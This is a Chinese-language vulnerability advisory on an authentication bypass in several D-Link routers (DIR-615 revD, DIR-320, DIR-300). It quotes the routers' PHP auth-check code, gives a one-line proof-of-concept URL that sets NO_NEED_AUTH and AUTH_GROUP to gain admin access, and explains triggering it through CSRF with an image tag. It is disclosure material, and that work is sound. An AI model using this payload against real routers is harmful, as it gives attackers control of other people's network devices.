Multiple D-Link Authentication Bypass Vulnerabilities
漏洞概述
多款基于PHP页面的D-Link路由器存在授权绕过漏洞,允许非授权用户访问和修改路由管理配置。远程用户可通过CSRF发起攻击。
影响产品
DIR-615 revD dir-320 dir-300
漏洞详情
路由器使用PHP的 register_globals特性,使用GET或POST传递参数
默认所有页面接口需要授权后访问,但是如login页面需要在授权前访问,使用PHP变量 NO_NEED_AUTH来标记
<? /* vi: set sw=4 ts=4: */ $MY_NAME ="login_fail"; $MY_MSG_FILE=$MY_NAME.".php"; $NO_NEED_AUTH="1"; $NO_SESSION_TIMEOUT="1"; require("/www/model/__html_head.php"); ?>
__html_head.php请求__auth_check.php文件,存在强制认证
<? /* vi: set sw=4 ts=4: */ if ($NO_NEED_AUTH!="1") { /* for POP up login. */ // require("/www/auth/__authenticate_p.php"); // if ($AUTH_RESULT=="401") {exit;} /* for WEB based login */ require("/www/auth/__authenticate_s.php"); if($AUTH_RESULT=="401") {require("/www/login.php"); exit;} if($AUTH_RESULT=="full") {require("/www/session_full.php"); exit;} if($AUTH_RESULT=="timeout") {require("/www/session_timeout.php"); exit;} $AUTH_GROUP=fread("/var/proc/web/session:".$sid."/user/group"); } require("/www/model/__lang_msg.php"); ?>
源码中看到,若no_need_auth设置为1,则可实现登录绕过。代码13行,auth_group值设置为0表示管理员。
另外,no_need_auth和auth_group值在其他管理页面并没有设置,基于PHP的register_globals特性,通过设置这两个参数,可以直接获取管理权限,访问web页面。
漏洞POC
http://192.168.0.1/bsc_lan.php?NO_NEED_AUTH=1&AUTH_GROUP=0
攻击方式
可访问web接口的任意用户可以查看并修改管理设置。即便远程用户无法直接访问路由器,也可以通过CSRF漏洞来触发。GET和POST都可以传递参数,HTML页面中一个image tag就可以触发此漏洞。
漏洞影响
路由设备可以在shodan直接搜到,影响使用此设备的企业等
使用PHP的D-Link设备也可能受影响
参考资料
http://www.devttys0.com/wp-content/uploads/2010/12/dlink_php_vulnerability.pdf